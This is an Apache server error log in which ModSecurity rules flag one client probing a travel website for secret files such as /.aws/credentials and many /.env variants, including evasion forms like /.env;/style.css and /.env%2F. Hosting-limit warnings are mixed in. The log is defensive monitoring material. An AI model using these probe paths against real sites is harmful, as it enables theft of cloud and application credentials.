[Fri Jul 17 08:54:57.905198 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.aws/credentials"] [unique_id "almgibEWOaI5pmYo9fnOwgAAAAA"]
[Fri Jul 17 08:54:57.905868 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.aws/credentials"] [unique_id "almgibEWOaI5pmYo9fnOwgAAAAA"]
[Fri Jul 17 08:54:57.908037 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgiUgVnBK6wAv37w6sDQAAABQ"]
[Fri Jul 17 08:54:57.908551 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgiUgVnBK6wAv37w6sDQAAABQ"]
[Fri Jul 17 08:54:57.913140 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgiQ5GPQ6hs4VrfMpBGgAAAAY"]
[Fri Jul 17 08:54:57.913537 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgiQ5GPQ6hs4VrfMpBGgAAAAY"]
[Fri Jul 17 08:54:57.925922 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiRJ0z2bEtnOrIXVARQAAAAk"]
[Fri Jul 17 08:54:57.925959 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgiVCBpfuYyhJ140vSUgAAAB4"]
[Fri Jul 17 08:54:57.926189 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiRJ0z2bEtnOrIXVARQAAAAk"]
[Fri Jul 17 08:54:57.926292 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgiVCBpfuYyhJ140vSUgAAAB4"]
[Fri Jul 17 08:54:57.926438 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiRJ0z2bEtnOrIXVARQAAAAk"]
[Fri Jul 17 08:54:57.927065 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgieYpb_TFRze2EO3zOgAAAAE"]
[Fri Jul 17 08:54:57.927300 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgieYpb_TFRze2EO3zOgAAAAE"]
[Fri Jul 17 08:54:57.927541 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.staging"] [unique_id "almgiYZvbo7N5o5zeYC-GQAAABw"]
[Fri Jul 17 08:54:57.927546 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgieYpb_TFRze2EO3zOgAAAAE"]
[Fri Jul 17 08:54:57.927775 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.staging"] [unique_id "almgiYZvbo7N5o5zeYC-GQAAABw"]
[Fri Jul 17 08:54:57.933222 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env/"] [unique_id "almgiYbYoYGvYnmnM82CDAAAAAs"]
[Fri Jul 17 08:54:57.933569 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env/"] [unique_id "almgiYbYoYGvYnmnM82CDAAAAAs"]
[Fri Jul 17 08:54:57.935936 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.docker"] [unique_id "almgiRAi3pC6yjXGNq2ARwAAAAU"]
[Fri Jul 17 08:54:57.936228 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.docker"] [unique_id "almgiRAi3pC6yjXGNq2ARwAAAAU"]
[Fri Jul 17 08:54:57.936510 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.testing"] [unique_id "almgiTsMb3am0TgkjETarAAAAAo"]
[Fri Jul 17 08:54:57.936777 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.testing"] [unique_id "almgiTsMb3am0TgkjETarAAAAAo"]
[Fri Jul 17 08:54:57.940918 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env;/style.css"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env;/style.css"] [unique_id "almgiVh1WDijTxd1xw5MGQAAAAc"]
[Fri Jul 17 08:54:57.941199 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env "] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env "] [unique_id "almgiaquHSHoCJK_V0SBFAAAABs"]
[Fri Jul 17 08:54:57.941216 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env;/style.css"] [unique_id "almgiVh1WDijTxd1xw5MGQAAAAc"]
[Fri Jul 17 08:54:57.941329 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.941456 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env "] [unique_id "almgiaquHSHoCJK_V0SBFAAAABs"]
[Fri Jul 17 08:54:57.941468 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiVh1WDijTxd1xw5MGQAAAAc"]
[Fri Jul 17 08:54:57.941545 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.941676 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiaquHSHoCJK_V0SBFAAAABs"]
[Fri Jul 17 08:54:57.945262 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgiboj0IkvhSCYadmBcAAAAAQ"]
[Fri Jul 17 08:54:57.945438 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.945561 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgiboj0IkvhSCYadmBcAAAAAQ"]
[Fri Jul 17 08:54:57.945666 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.945784 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiboj0IkvhSCYadmBcAAAAAQ"]
[Fri Jul 17 08:54:57.946463 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.949213 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env%2F"] [unique_id "almgiQRRrtuZqNDDSqWwGwAAABo"]
[Fri Jul 17 08:54:57.949507 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env%2F"] [unique_id "almgiQRRrtuZqNDDSqWwGwAAABo"]
[Fri Jul 17 08:54:57.949642 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:57.949813 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiQRRrtuZqNDDSqWwGwAAABo"]
